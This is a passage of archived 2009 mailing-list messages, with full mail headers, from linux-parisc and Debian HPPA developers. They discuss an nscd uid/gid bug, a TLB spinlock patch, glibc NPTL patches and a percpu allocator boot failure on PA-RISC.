> The only outstanding bug I still know of is that we sometimes face uid/gid issues.
> This still needs analysis.

Helge suggested yesterday that the uid/gid issue might be a bug in nscd.
I installed 2.6.30 last night and disabled nscd.  I have now run for more
than a day without this issue appearing.  The machine did a full GCC build
and check taking about 24 hours.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix parisc runtime hangs wrt pa_tlb_lock
Date: Tue, 16 Jun 2009 22:55:29 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20090617025529.GA19032@bombadil.infradead.org>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca> <4A2ADEC9.2090403@gmx.de> <4A35741F.6000107@gmx.de> <20090614232046.GA14028@hiauly1.hia.nrc.ca> <4A3805E4.4080305@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245207341 7597 80.91.229.12 (17 Jun 2009 02:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 02:55:41 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 17 04:55:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGlJI-0007DG-NJ
	for glpp-linux-parisc@gmane.org; Wed, 17 Jun 2009 04:55:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751995AbZFQCzc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 22:55:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753664AbZFQCzc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 22:55:32 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57110 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751995AbZFQCzb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 22:55:31 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MGlJB-00065u-7S; Wed, 17 Jun 2009 02:55:29 +0000
Content-Disposition: inline
In-Reply-To: <4A3805E4.4080305@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1764
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1764>

On Tue, Jun 16, 2009 at 10:51:48PM +0200, Helge Deller wrote:
> On 06/15/2009 01:20 AM, John David Anglin wrote:
>> I am convinced that interrupts need to be disabled on SMP kernels to
>> prevent deadlock.  On UP kernels, I am not convinced that anything bad
>> happens if we do a tlb purge while handling an interrupt since we don't
>> have to worry about preventing bus conflicts.  The UP code can't
>> deadlock.  I'm thinking that we can stay with disabling preemption.
>
> Dave is right and it took me long to understand his point...
> I continued testing and we can simply just disable preemption for UP
> kernels and use an irq-safe spinlock for SMP kernels.
>
> Below is the latest and greatest patch which fixes this bug.
> Run-tested onUP kernels and compile-tested on SMP kernels.
>

Ugh, I'd really prefer it if we just took the irq disable and enable hit
on UP by making the codepaths the same... Is that ok with you or?

Kyle

> Kyle, it would be nice if you could apply it as soon as possible.
> The bug is existing since a long time, so it might make sense to backport
> it to older kernels as well...
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix parisc runtime hangs wrt pa_tlb_lock
Date: Wed, 17 Jun 2009 09:26:05 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <4A389A8D.2010806@gmx.de>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca> <4A2ADEC9.2090403@gmx.de> <4A35741F.6000107@gmx.de> <20090614232046.GA14028@hiauly1.hia.nrc.ca> <4A3805E4.4080305@gmx.de> <20090617025529.GA19032@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245223576 10756 80.91.229.12 (17 Jun 2009 07:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 07:26:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 17 09:26:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGpX9-0002Z0-Eo
	for glpp-linux-parisc@gmane.org; Wed, 17 Jun 2009 09:26:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753329AbZFQH0G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Jun 2009 03:26:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754500AbZFQH0G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Jun 2009 03:26:06 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51955 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753329AbZFQH0G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Jun 2009 03:26:06 -0400
Original-Received: (qmail invoked by alias); 17 Jun 2009 07:26:06 -0000
Original-Received: from mnhm-590ea301.pool.einsundeins.de (EHLO halden.box) [89.14.163.1]
  by mail.gmx.net (mp050) with SMTP; 17 Jun 2009 09:26:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/foV8QRbbfKRxtkkc7Cqg5tiQJcaZKkYftMDPSi3
	WlWiAXJrFb5UKp
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090617025529.GA19032@bombadil.infradead.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.62
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1765>

On 06/17/2009 04:55 AM, Kyle McMartin wrote:
> On Tue, Jun 16, 2009 at 10:51:48PM +0200, Helge Deller wrote:
>> On 06/15/2009 01:20 AM, John David Anglin wrote:
>>> I am convinced that interrupts need to be disabled on SMP kernels to
>>> prevent deadlock.  On UP kernels, I am not convinced that anything bad
>>> happens if we do a tlb purge while handling an interrupt since we don't
>>> have to worry about preventing bus conflicts.  The UP code can't
>>> deadlock.  I'm thinking that we can stay with disabling preemption.
>> Dave is right and it took me long to understand his point...
>> I continued testing and we can simply just disable preemption for UP
>> kernels and use an irq-safe spinlock for SMP kernels.
>>
>> Below is the latest and greatest patch which fixes this bug.
>> Run-tested onUP kernels and compile-tested on SMP kernels.
>>
>
> Ugh, I'd really prefer it if we just took the irq disable and enable hit
> on UP by making the codepaths the same... Is that ok with you or?

You mean to use the irq-safe spinlocking path for SMP _and_ UP?
Yes, that would be ok for me too. We just thought why we should try to save
some cycles on UP if possible, as the UP-kernel often is used on
slower machines where it would be beneficial for them...

If yes, do you want me to send an updated patch?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Wed, 17 Jun 2009 07:14:01 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440906170414q1111608yd57633756427e62a@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <20090615173102.GC2690@lackof.org>
	 <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de>
	 <20090616191317.GG25535@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245237270 19576 80.91.229.12 (17 Jun 2009 11:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 11:14:30 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>, Helge Deller <deller@gmx.de>, 
	Grant Grundler <grundler@parisc-linux.org>, HPPA porters <debian-hppa@lists.debian.org>, 
	Debian Release <debian-release@lists.debian.org>, admin@debian-ports.org, 
	linux-parisc@vger.kernel.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Jun 17 13:14:26 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGt5v-0004B7-HI
	for debian-hppa@m.gmane.org; Wed, 17 Jun 2009 13:14:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 9B2D413A5BD4; Wed, 17 Jun 2009 11:14:18 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.2 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MURPHY_DRUGS_REL8,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 5747213A5BC2
	for <lists-debian-hppa@liszt.debian.org>; Wed, 17 Jun 2009 11:14:12 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.243 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id RxDrgru+5uGq for <lists-debian-hppa@liszt.debian.org>;
	Wed, 17 Jun 2009 11:14:07 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209])
	by liszt.debian.org (Postfix) with ESMTP id 05E4713A5B93;
	Wed, 17 Jun 2009 11:14:03 +0000 (UTC)
Original-Received: by ewy5 with SMTP id 5so357641ewy.30
        for <multiple recipients>; Wed, 17 Jun 2009 04:14:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=TVC42KCin0UGhsKWCYk2lq78ZYKJ4hdyYpPZbPMSBh4=;
        b=lvesftCfEE4UogDBINtdkaXD9kjeVnaBg2A5zXl/Tij5dxBpAVozefDw4Q0Qb2aJje
         bijgUqt2JADfRQFuJ1M+toMTE+7sWlHVUNBVixCt6KsbJ9vmWUC/FcgTOiuA4T8PSuYE
         Z/jyubxQmLhBM/0N0u2ktJt/foybNoPwVxTYQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=k49jJpbNcmd7lthIshemHhnlEKmvodZ9ROxh/I04jyEZMtPsyP1KsSyEDoGCg5dykb
         0HpLWc5p1Y8ySupYBmcVQwUCAikgeaK90ql5MH/MKswvGf63YzqG9t2aLYpZAbcuBZ+c
         +8CRrTQ2L4K+nFmnANGyCXqynqiVrSWCXjM9c=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.19.17 with SMTP id m17mr849wem.187.1245237241604; Wed, 17 
	Jun 2009 04:14:01 -0700 (PDT)
In-Reply-To: <20090616191317.GG25535@hall.aurel32.net>
X-Google-Sender-Auth: 14dc38502e1fa880
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <AbuVhEPet_L.A.WT.KANOKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6758
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 17 Jun 2009 11:14:18 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5760 gmane.linux.debian.devel.release:30803 gmane.linux.ports.parisc:1766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1766>

On Tue, Jun 16, 2009 at 3:13 PM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> On Tue, Jun 16, 2009 at 09:08:37PM +0200, Helge Deller wrote:
>> On 06/16/2009 08:25 AM, Lucas Nussbaum wrote:
>>> On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
>>> PS: if you want an HPPA-specific issue to play with,
>>> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
>>> might be a good candidate.
>>
>> In reality it's not (any longer) a hppa specific bug. It's a bug in ruby.
>> Ruby just relies on NPTL specific behaviour of threads and as such plays mad on LinuxThreads, which we still have active on hppa.
>> The good thing is, that the NPTL switch-over was started by Carlos, so I expect that this should be fixed when NPTL hits unstable...
>>
>
> BTW, Carlos, could you please send me the latest version of your
> patches, so that we can actually do the switch with version 2.10?

I'm in the middle of a build-test cycle with glibc/glibc-ports git
head. I'll send you the patches before the end of today.

Cheers,
Carlos.



From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 2/9] percpu: use dynamic percpu allocator as the
 default percpu allocator
Date: Wed, 17 Jun 2009 08:40:59 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <1245242459.4503.4.camel@mulgrave.site>
References: <1245210060-24344-1-git-send-email-tj@kernel.org>
	 <1245210060-24344-3-git-send-email-tj@kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245242495 4305 80.91.229.12 (17 Jun 2009 12:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 12:41:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, x86@kernel.org,
	linux-arch@vger.kernel.org, mingo@elte.hu, kyle@mcmartin.ca,
	cl@linux-foundation.org, Jesper.Nilsson@axis.com,
	benh@kernel.crashing.org, paulmck@linux.vnet.ibm.com,
	Paul Mundt <lethal@linux-sh.org>,
	Russell King <rmk@arm.linux.org.uk>,
	Mikael Starvik <starvik@axis.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Bryan Wu <cooloney@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 17 14:41:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGuSG-0000nj-Em
	for glpp-linux-parisc@gmane.org; Wed, 17 Jun 2009 14:41:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758005AbZFQMlH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Jun 2009 08:41:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761916AbZFQMlH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Jun 2009 08:41:07 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50642 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757717AbZFQMlF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Jun 2009 08:41:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BB20F8EE142;
	Wed, 17 Jun 2009 05:41:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6mSr8n1hpDw4; Wed, 17 Jun 2009 05:41:07 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 20E468EE0F1;
	Wed, 17 Jun 2009 05:41:02 -0700 (PDT)
In-Reply-To: <1245210060-24344-3-git-send-email-tj@kernel.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1767 gmane.linux.kernel:853320 gmane.linux.kernel.cross-arch:3844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1767>

On Wed, 2009-06-17 at 12:40 +0900, Tejun Heo wrote:
> 
> The following architectures are affected by this change.
> 
> * sh
> * arm
> * cris
> * mips
> * sparc(32)
> * blackfin
> * avr32
> * parisc (broken, under investigation)

I haven't seen anything of this on the parisc list ... what's the
problem?  and do you need systems or any other help to fix it?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/9] percpu: use dynamic percpu allocator as the default
 percpu allocator
Date: Wed, 17 Jun 2009 22:15:18 +0900
Lines: 28
Approved: news@gmane.org
Message-ID: <4A38EC66.5000504@kernel.org>
References: <1245210060-24344-1-git-send-email-tj@kernel.org>	 <1245210060-24344-3-git-send-email-tj@kernel.org> <1245242459.4503.4.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245244596 11756 80.91.229.12 (17 Jun 2009 13:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 13:16:36 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, x86@kernel.org,
	linux-arch@vger.kernel.org, mingo@elte.hu, kyle@mcmartin.ca,
	cl@linux-foundation.org, Jesper.Nilsson@axis.com,
	benh@kernel.crashing.org, paulmck@linux.vnet.ibm.com,
	Paul Mundt <lethal@linux-sh.org>,
	Russell King <rmk@arm.linux.org.uk>,
	Mikael Starvik <starvik@axis.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Bryan Wu <cooloney@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jun 17 15:16:30 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGv09-0000KT-IX
	for glka-linux-arch@gmane.org; Wed, 17 Jun 2009 15:16:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754110AbZFQNQY (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 17 Jun 2009 09:16:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753189AbZFQNQY
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 17 Jun 2009 09:16:24 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:50823 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752409AbZFQNQX (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 17 Jun 2009 09:16:23 -0400
Original-Received: from htj.dyndns.org (IDENT:U2FsdGVkX19QPgzQWOOAKaSVg7AGuP/GeBDHFX23nf4@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n5HDFJfW012534
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 17 Jun 2009 13:15:20 GMT
Original-Received: from [127.0.0.2] (htj.dyndns.org [127.0.0.2])
	by htj.dyndns.org (Postfix) with ESMTPSA id A5FC4421DFB8D;
	Wed, 17 Jun 2009 22:15:18 +0900 (KST)
User-Agent: Thunderbird 2.0.0.19 (X11/20081227)
In-Reply-To: <1245242459.4503.4.camel@mulgrave.site>
X-Enigmail-Version: 0.95.7
X-Virus-Scanned: ClamAV 0.93.3/9475/Wed Jun 17 06:24:12 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 17 Jun 2009 13:15:21 +0000 (UTC)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:3845 gmane.linux.kernel:853335 gmane.linux.ports.parisc:1768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1768>

James Bottomley wrote:
> On Wed, 2009-06-17 at 12:40 +0900, Tejun Heo wrote:
>> The following architectures are affected by this change.
>>
>> * sh
>> * arm
>> * cris
>> * mips
>> * sparc(32)
>> * blackfin
>> * avr32
>> * parisc (broken, under investigation)
> 
> I haven't seen anything of this on the parisc list ... what's the
> problem?  and do you need systems or any other help to fix it?

I really don't know what's wrong as nothing should be different from
the old percpu allocator as seen from the arch code.

Kyle reported that the system didn't boot with the patch applied.
Access to a system would be nice but boot debugging usually is done
much easier with local access, so I was hoping he would follow up.
Kyle, do you have any details?

Thanks.

-- 
tejun

From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/9] percpu: use dynamic percpu allocator as the
	default percpu allocator
Date: Wed, 17 Jun 2009 09:32:51 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20090617133251.GB19032@bombadil.infradead.org>
References: <1245210060-24344-1-git-send-email-tj@kernel.org> <1245210060-24344-3-git-send-email-tj@kernel.org> <1245242459.4503.4.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245245597 15269 80.91.229.12 (17 Jun 2009 13:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 13:33:17 +0000 (UTC)
Cc: Tejun Heo <tj@kernel.org>, linux-kernel@vger.kernel.org,
	x86@kernel.org, linux-arch@vger.kernel.org, mingo@elte.hu,
	kyle@mcmartin.ca, cl@linux-foundation.org, Jesper.Nilsson@axis.com,
	benh@kernel.crashing.org, paulmck@linux.vnet.ibm.com,
	Paul Mundt <lethal@linux-sh.org>,
	Russell King <rmk@arm.linux.org.uk>,
	Mikael Starvik <starvik@axis.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Bryan Wu <cooloney@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jun 17 15:33:10 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGvGF-00082D-4h
	for glka-linux-arch@gmane.org; Wed, 17 Jun 2009 15:33:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760055AbZFQNdC (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 17 Jun 2009 09:33:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754512AbZFQNdB
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 17 Jun 2009 09:33:01 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34714 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754087AbZFQNdA (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 17 Jun 2009 09:33:00 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MGvFz-00019Y-M1; Wed, 17 Jun 2009 13:32:51 +0000
Content-Disposition: inline
